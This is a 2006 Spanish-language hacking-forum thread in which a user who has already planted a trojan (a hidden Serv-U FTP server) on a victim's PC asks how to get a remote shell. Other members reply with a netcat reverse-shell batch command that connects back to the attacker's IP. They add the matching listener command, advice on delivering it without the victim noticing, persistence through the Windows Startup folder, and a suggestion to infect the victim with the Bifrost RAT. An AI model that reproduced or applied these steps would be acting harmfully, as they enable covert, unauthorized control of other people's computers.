Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Enero 08, 2009, 08:55:07
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Hack Novato  |  Hack para newbies (Moderador: OzX)  |  Tema: Obtener una shell remota teniendo un troyano en la pc victima 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Obtener una shell remota teniendo un troyano en la pc victima  (Leído 478 veces)
Lin
Visitante
« en: Marzo 06, 2006, 10:10:19 »
Pues eso tengo un troyano en el pc victima y kiero obtener la shell de su sistema. He leeido muxo pero no lo entiendo muy bien. Como lo consigo?
El troyano es el serv-u ftp ocultado con todos los privilegios de usuario.
Lo puedo hacer con netcat?? como??
En línea
Hendrix
Visitante
« Respuesta #1 en: Marzo 06, 2006, 10:46:51 »
pasale el netcat al PC de la viktima (kon el troyano, para ke la viktima ni se entere) y luego manale un .bat ke kontenga esto:

nc -d -e cmd.exe TUIP PUERTOKIKIERAS

en TUIP pon tu IP, y en PUERTOKEKIERAS pon un puerto ke tu kieras.

Le pasas esto, y abres en TU pc el MS-Dos y pones esto:

nc -vv -l -p PUERTO

donde PUERTO es el puerto ke pusiste en la viktima....

Lo ejekutas (el segundo kode) en TU pc, y pondra ke el netcat esta eskuxando, luego le mandas el .bat a tu viktima, lo ejekutas y ya tienes su Shell...

Espero ke te sirva de ayuda...

Salu2

Hendrix
En línea
Lin
Visitante
« Respuesta #2 en: Marzo 06, 2006, 12:00:08 »
En línea
Hendrix
Visitante
« Respuesta #3 en: Marzo 06, 2006, 12:35:38 »
En línea
El Quemero
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1325


100% Quemero


Ver Perfil WWW
« Respuesta #4 en: Marzo 06, 2006, 02:04:12 »
Si tenes todos los privilegios con el Server-U tendrias que poder ejecutarle archvos a la victima
En línea
Lin
Visitante
« Respuesta #5 en: Marzo 06, 2006, 02:15:20 »
Bueno ya lo he hecho todo solo me queda ejecutar el .bat a la victima.
Mira sabes lo k me pasa:
Cuando intento acceder al pc victima con un cliente ftp (fxp o cuteftp) me da el siguiente error:
WinSock 2.0 -- OpenSSL 0.9.7g 11 Apr 2005
[R] Connecting to *** -> DNS=(servicioqueyopuseno-ip).sytes.net IP=**.**.1.182 PORT=2320
[R] Connected to ***
[R] 220 Serv-U FTP-Server v2.5e for WinSock ready...
[R] USER ******
[R] 230 User %s logged in.
[R] SYST
[R] 215 UNIX Type: L8
[R] FEAT
[R] 500 'FEAT': command not understood.
[R] PWD
[R] 257 "/C:/" is current directory.
[R] TYPE A
[R] 200 Type set to A.
[R] PASV
[R] 227 Entering Passive Mode (***,***,0,2,6,35)
[R] Opening data connection IP: **.**.1.182 PORT: 1571
[R] Data Socket Error: Connection timed out
[R] List Error
[R] PASV
...

Entonces me konecto por el internet explorer poniendo
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion... y cuando le doy a abir algo se me carga otra ventana k da error

Por telnet me conecto pero introduzco la clave y me dice que es una mala secuencia o algo asi

K hago para ejecutar archivos en ese pc??
En línea
El Quemero
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1325


100% Quemero


Ver Perfil WWW
« Respuesta #6 en: Marzo 06, 2006, 02:25:40 »
te recomiendo que pongas tus programas en la carpeta Inicio de la PC que esta en:
C:\Documents $ setti...\Usuario\Menu Inicio\Programas\Inicio\

ahi todo lo que dejes se va a ejecutar cuando inicia la PC.

Tene en cuenta que para que el nc funcione tiene que tener acceso a internet la victima
En línea
Lin
Visitante
« Respuesta #7 en: Marzo 06, 2006, 02:46:26 »
Vale ok copio el netcat y el .bat para k se inicie con windows pero como ejecuto el .bat??
En línea
Lin
Visitante
« Respuesta #8 en: Marzo 06, 2006, 03:04:23 »
joder tio esto es imposible...
Ahora estoy probando el netcat jajjaja en dos pcs k tengo konectados en red
En mi pc abro el netcat y pongo esto:

nc.exe -vv -l -p PUERTO K ELIJO

En el otro pc pongo:

nc.exe -d -e cmd.exe MI IP Y EL PUERTO

Bien y nada en mi pc se queda en listening any port
xk?? en que carpeta debe de estar el nc??
En línea
Hendrix
Visitante
« Respuesta #9 en: Marzo 06, 2006, 03:39:17 »
tiene ke estar en C:\System32

y en donde dices:

Cita de: Lin en Marzo 06, 2006, 03:04:23

En el otro pc pongo:

nc.exe -d -e cmd.exe MI IP Y EL PUERTO


La IP tiene ke ser la del PC ke esta en Listening

Salu2

Hendrix
En línea
Lin
Visitante
« Respuesta #10 en: Marzo 06, 2006, 04:15:23 »
OK el fallo era k no estaba en system32 jajjaja manda uevos...
Pero sigo teniendo un problema:
-En mi pc pongo el nc y pongo: nc.exe -vv -l -p 5621
-En el otro pc abro el nc y pongo: nc.exe -d -e cmd.exe myip 5621
Y se conecta y tengo su shell. Bien pero ahora yo uso el .bat k tu me has dicho y no me puedo conectar a el otro pc porque se queda escuchando. Ponme el .bat bien xk supongo k stara mal. yo lo ejecuto en la misma carpeta en la k sta el nc.exe

Otra kosa:
Yo le pongo el nc.exe en la carpeta system32 a la victima
Como lo coloco el .bat cada vez k se incie windows para tener siempre un puerto para poder conectarme??
Como oculto la ventana negra k sale cuando abro el .bat??

Hoy estoy pesao eh!! jeje ske todo esto es nuevo para mi
Muxas grasias por su ayuda
Respondan pronto!!
Saludos
En línea
El Quemero
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1325


100% Quemero


Ver Perfil WWW
« Respuesta #11 en: Marzo 06, 2006, 11:39:34 »
Bajate esto que te va a servir:

Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
En línea
Lin
Visitante
« Respuesta #12 en: Marzo 07, 2006, 08:15:21 »
Con tu aplicacion si se me abre. Pero la conexion no se keda siempre abierta, es decir, si la victima ejecuta el .bat y yo tambien me conecto a su shell pero una vez k yo salgo, ejecuto otra vez el .bat del atacante y no puedo.
Como hago para que se kede esa conexion abierta siempre y cuando inicie windows??
Se puede evitar k salga la ventanita negra cuando se abre el .bat de la victima?
En línea
El Quemero
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1325


100% Quemero


Ver Perfil WWW
« Respuesta #13 en: Marzo 07, 2006, 11:15:50 »
si no lo que te recomiendo es infectarlo con el Bifrost que te da una Shell
En línea
Lin
Visitante
« Respuesta #14 en: Marzo 07, 2006, 12:05:58 »
Cita de: El Quemero en Marzo 07, 2006, 11:15:50
si no lo que te recomiendo es infectarlo con el Bifrost que te da una Shell
joeer... ske me hasia ilusion hacerlo yo mismo jejej
Si pongo esto en la carpeta esa de menu de inicio y copio ahi el netcat el cmd y el bat saldra??
En línea
El Quemero
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1325


100% Quemero


Ver Perfil WWW
« Respuesta #15 en: Marzo 08, 2006, 12:16:17 »
El nc tiene que estar en la carpeta del Sistema.

Si pones el .bat en la carpeta inicio ponele algo para que tarde un poco o si no me acuerdo mal Hendrix consiguio comprobar si hay conexion a internet o no, para poder saber si pone a la escucha o no, para eso anda a la seccion de Batch
En línea
Lin
Visitante
« Respuesta #16 en: Marzo 08, 2006, 08:41:04 »
Ok eso are me ire a bat.
En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Hack Novato  |  Hack para newbies (Moderador: OzX)  |  Tema: Obtener una shell remota teniendo un troyano en la pc victima « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC